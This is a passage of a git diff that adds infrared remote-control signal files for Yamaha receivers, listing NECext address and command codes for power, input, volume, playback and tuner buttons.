+protocol: NECext +address: 7A 00 00 00 +command: ED 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: ED 00 00 00 +# +name: Z3_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: ED 00 00 00 +# +name: Z3:_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: ED 00 00 00 +# +name: Z3:_POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EE 00 00 00 +# +name: POWER_OFF_(STANDBY) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EE 00 00 00 +# +name: Z3_POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EE 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EE 00 00 00 +# +name: POWER_OFF/STNDBY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EE 00 00 00 +# +name: Z3:_STANDBY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EE 00 00 00 +# +name: Z3:_STANDBY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: EE 00 00 00 +# +name: Z3:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F0 00 00 00 +# +name: Z3:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F0 00 00 00 +# +name: IN_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F0 00 00 00 +# +name: Z3_IN_V-AUX/DOCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F0 00 00 00 +# +name: Z3_IN:_V-AUX/DOCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F0 00 00 00 +# +name: Z3:_V-AUX/DOCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F0 00 00 00 +# +name: INP_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F0 00 00 00 +# +name: Z3:_INP_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F0 00 00 00 +# +name: Z3_INP:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F0 00 00 00 +# +name: Z3_INP:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F0 00 00 00 +# +name: Z3:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F1 00 00 00 +# +name: Z3:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F1 00 00 00 +# +name: IN_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F1 00 00 00 +# +name: Z3_IN_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F1 00 00 00 +# +name: INPUT:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F1 00 00 00 +# +name: Z3_IN:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F1 00 00 00 +# +name: INP_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F1 00 00 00 +# +name: Z3:_INP_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F1 00 00 00 +# +name: Z3_INP:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F1 00 00 00 +# +name: Z3_INP:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F1 00 00 00 +# +name: Z3:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F2 00 00 00 +# +name: IN_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F2 00 00 00 +# +name: Z3_IN_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F2 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F2 00 00 00 +# +name: Z3_IN:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F2 00 00 00 +# +name: INP_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F2 00 00 00 +# +name: Z3:_INP_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F2 00 00 00 +# +name: Z3_INP:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F2 00 00 00 +# +name: Z3_INP:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F2 00 00 00 +# +name: Z3:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F3 00 00 00 +# +name: IN_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F3 00 00 00 +# +name: Z3_IN_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F3 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F3 00 00 00 +# +name: Z3_IN:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F3 00 00 00 +# +name: INP_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F3 00 00 00 +# +name: Z3:_INP_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F3 00 00 00 +# +name: Z3_INP:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F3 00 00 00 +# +name: Z3_INP:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F3 00 00 00 +# +name: Z3:_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F4 00 00 00 +# +name: IN_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F4 00 00 00 +# +name: Z3_IN_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F4 00 00 00 +# +name: INPUT:_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F4 00 00 00 +# +name: Z3_IN:_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F4 00 00 00 +# +name: Z3:_INP_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F4 00 00 00 +# +name: Z3:_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F5 00 00 00 +# +name: IN_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F5 00 00 00 +# +name: Z3_IN_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F5 00 00 00 +# +name: INPUT:_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F5 00 00 00 +# +name: Z3_IN:_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F5 00 00 00 +# +name: INP_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F5 00 00 00 +# +name: Z3:_INP_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F5 00 00 00 +# +name: Z3_INP:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F5 00 00 00 +# +name: Z3_INP:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F5 00 00 00 +# +name: Z3:_DTV/LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F6 00 00 00 +# +name: Z3:_DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F6 00 00 00 +# +name: IN_DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F6 00 00 00 +# +name: Z3_IN_D-TV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F6 00 00 00 +# +name: INPUT:_D-TV/LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F6 00 00 00 +# +name: Z3_IN:_D-TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F6 00 00 00 +# +name: INP_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F6 00 00 00 +# +name: Z3:_INP_DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F6 00 00 00 +# +name: Z3_INP:_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F6 00 00 00 +# +name: Z3_INP:_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F6 00 00 00 +# +name: Z3:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F7 00 00 00 +# +name: IN_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F7 00 00 00 +# +name: INPUT:_CABLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F7 00 00 00 +# +name: Z3_IN:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F7 00 00 00 +# +name: INP_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F7 00 00 00 +# +name: Z3:_INP_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F7 00 00 00 +# +name: Z3_INP:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F7 00 00 00 +# +name: Z3_INP:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F7 00 00 00 +# +name: Z3:_VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F9 00 00 00 +# +name: IN_VCR_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F9 00 00 00 +# +name: Z3_IN_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F9 00 00 00 +# +name: INPUT:_VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F9 00 00 00 +# +name: Z3_IN:_VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F9 00 00 00 +# +name: INP_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F9 00 00 00 +# +name: Z3:_INP_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F9 00 00 00 +# +name: Z3_INP:_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F9 00 00 00 +# +name: Z3_INP:_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: F9 00 00 00 +# +name: Z3:_VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FA 00 00 00 +# +name: Z3:_DVR/VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FA 00 00 00 +# +name: IN_DVR/VCR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FA 00 00 00 +# +name: Z3_IN_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FA 00 00 00 +# +name: INPUT:_VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FA 00 00 00 +# +name: Z3_IN:_DVR/VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FA 00 00 00 +# +name: INP_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FA 00 00 00 +# +name: Z3:_INP_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FA 00 00 00 +# +name: Z3_INP:_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FA 00 00 00 +# +name: Z3_INP:_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FA 00 00 00 +# +name: Z3_IN_BD/HD-DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FB 00 00 00 +# +name: INP_BD/HD_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FB 00 00 00 +# +name: Z3:_INP_BD/HDDVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FB 00 00 00 +# +name: Z3_INP:_BD/HD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FB 00 00 00 +# +name: Z3_INP:_BD/HD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FB 00 00 00 +# +name: Z3:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FC 00 00 00 +# +name: IN_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FC 00 00 00 +# +name: Z3_IN_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FC 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FC 00 00 00 +# +name: Z3_IN:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FC 00 00 00 +# +name: INP_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FC 00 00 00 +# +name: Z3:_INP_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FC 00 00 00 +# +name: Z3_INP:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FC 00 00 00 +# +name: Z3_INP:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FC 00 00 00 +# +name: Z3:_VOL_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FD 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FD 00 00 00 +# +name: Z3_VOL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FD 00 00 00 +# +name: Z3:_VOLUME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FD 00 00 00 +# +name: Z3:_VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FD 00 00 00 +# +name: Z3:_VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FD 00 00 00 +# +name: Z3:_VOL_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FE 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FE 00 00 00 +# +name: Z3_VOL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FE 00 00 00 +# +name: Z3:_VOLUME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FE 00 00 00 +# +name: Z3:_VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FE 00 00 00 +# +name: Z3:_VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FE 00 00 00 +# +name: Z3:_MUTE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FF 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FF 00 00 00 +# +name: Z3_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FF 00 00 00 +# +name: MUTE_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FF 00 00 00 +# +name: Z3:_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FF 00 00 00 +# +name: MUTE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FF 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FF 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir new file mode 100644 index 000000000..8b69059ae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir @@ -0,0 +1,620 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 80 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 81 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 82 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 83 00 00 00 +# +name: PAUSE/STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 84 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 85 00 00 00 +# +name: SEARCH_< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 86 00 00 00 +# +name: SEARCH_> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 87 00 00 00 +# +name: SKIP_< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 88 00 00 00 +# +name: SKIP_> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 89 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8A 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8B 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8B 00 00 00 +# +name: INDEX_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8C 00 00 00 +# +name: INDEX_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8D 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8E 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 8F 00 00 00 +# +name: STEP_< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 91 00 00 00 +# +name: STEP_> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 92 00 00 00 +# +name: REC_0 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 93 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: REC_1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 94 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: REC_2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 95 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: REC_3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 96 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: REC_4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 97 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 98 00 00 00 +# +name: REC_5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 98 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: REC_6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 99 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: REC_7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: REC_8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9C 00 00 00 +# +name: REC_9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9D 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9D 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9E 00 00 00 +# +name: TITLE/INDEX +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: 9F 00 00 00 +# +name: CANCEL_(CLEAR) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A0 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A1 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A2 00 00 00 +# +name: REPEART_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A3 00 00 00 +# +name: REPEAR_A-B +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A4 00 00 00 +# +name: AUTO_SPACE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A5 00 00 00 +# +name: DISPLAY_ON/OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A6 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A7 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A8 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: A9 00 00 00 +# +name: SUBTITILE_ON/OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AA 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AB 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AC 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AD 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: AE 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B1 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B2 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B3 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B4 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B5 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B6 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B7 00 00 00 +# +name: SELECT_(ENTER) +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B8 00 00 00 +# +name: SKIP/SEARCH_< +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: B9 00 00 00 +# +name: SKIP/SEARCH_> +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BA 00 00 00 +# +name: MULTI_SPEED +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BB 00 00 00 +# +name: DISC_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BC 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: BD 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D1 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D2 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D3 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D4 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D5 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D8 00 00 00 +# +name: VIDEO_ON/OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: D9 00 00 00 +# +name: PROGRESSIVE +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DA 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DB 00 00 00 +# +name: GROUP_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DC 00 00 00 +# +name: GROUP_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DD 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DE 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: DF 00 00 00 +# +name: PLAY_MODE_NORMAL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F0 00 00 00 +# +name: PLAY_MODE_RANDOM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F1 00 00 00 +# +name: PLAY_MODE_PROGRAM +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F2 00 00 00 +# +name: REPEAT_ALL +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F5 00 00 00 +# +name: REPEAT_OFF +type: parsed +protocol: NECext +address: 7C 00 00 00 +command: F6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir new file mode 100644 index 000000000..0865d408e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir @@ -0,0 +1,986 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_FM +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 27 00 00 00 +# +name: TUNER_AM +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 28 00 00 00 +# +name: INPUT_XM +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 29 00 00 00 +# +name: TUNER_AUTO_TUNE_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2A 00 00 00 +# +name: TUNER_AUTO_TUNE_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2B 00 00 00 +# +name: XM_ALL_CH_SEARCH +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2C 00 00 00 +# +name: XM_CAT_SEARCH +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2D 00 00 00 +# +name: XM_PRESET_SEARCH +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2E 00 00 00 +# +name: Z2_INPUT_XM +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 2F 00 00 00 +# +name: XM_PRESET_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 31 00 00 00 +# +name: XM_PRESET_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 32 00 00 00 +# +name: XM_CAT_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 33 00 00 00 +# +name: XM_SRCH_MODE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 34 00 00 00 +# +name: XM_CAT_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 35 00 00 00 +# +name: XM_MEMORY +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 38 00 00 00 +# +name: XM_DISPLAY +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 39 00 00 00 +# +name: XM_ENTER +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 3F 00 00 00 +# +name: Z2_POWER_OFF +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 63 00 00 00 +# +name: Z2_POWER_ON +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 64 00 00 00 +# +name: Z2_INPUT_PHONO +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 65 00 00 00 +# +name: Z2_INPUT_TUNER +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 66 00 00 00 +# +name: Z2_INPUT_CD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 67 00 00 00 +# +name: Z2_INPUT_MD/TAPE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 6A 00 00 00 +# +name: Z2_INPUT_DTV/CBL +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 6C 00 00 00 +# +name: Z2_INPUT_VCR +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 6D 00 00 00 +# +name: Z2_INPUT_DVD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 6F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 70 00 00 00 +# +name: Z2_VOLUME_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 70 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 71 00 00 00 +# +name: Z2_VOLUME_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 71 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 72 00 00 00 +# +name: Z2_MUTE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 72 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 81 00 00 00 +# +name: INPUT_VCR +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 81 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 82 00 00 00 +# +name: LASER_DISC +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 83 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 7D 00 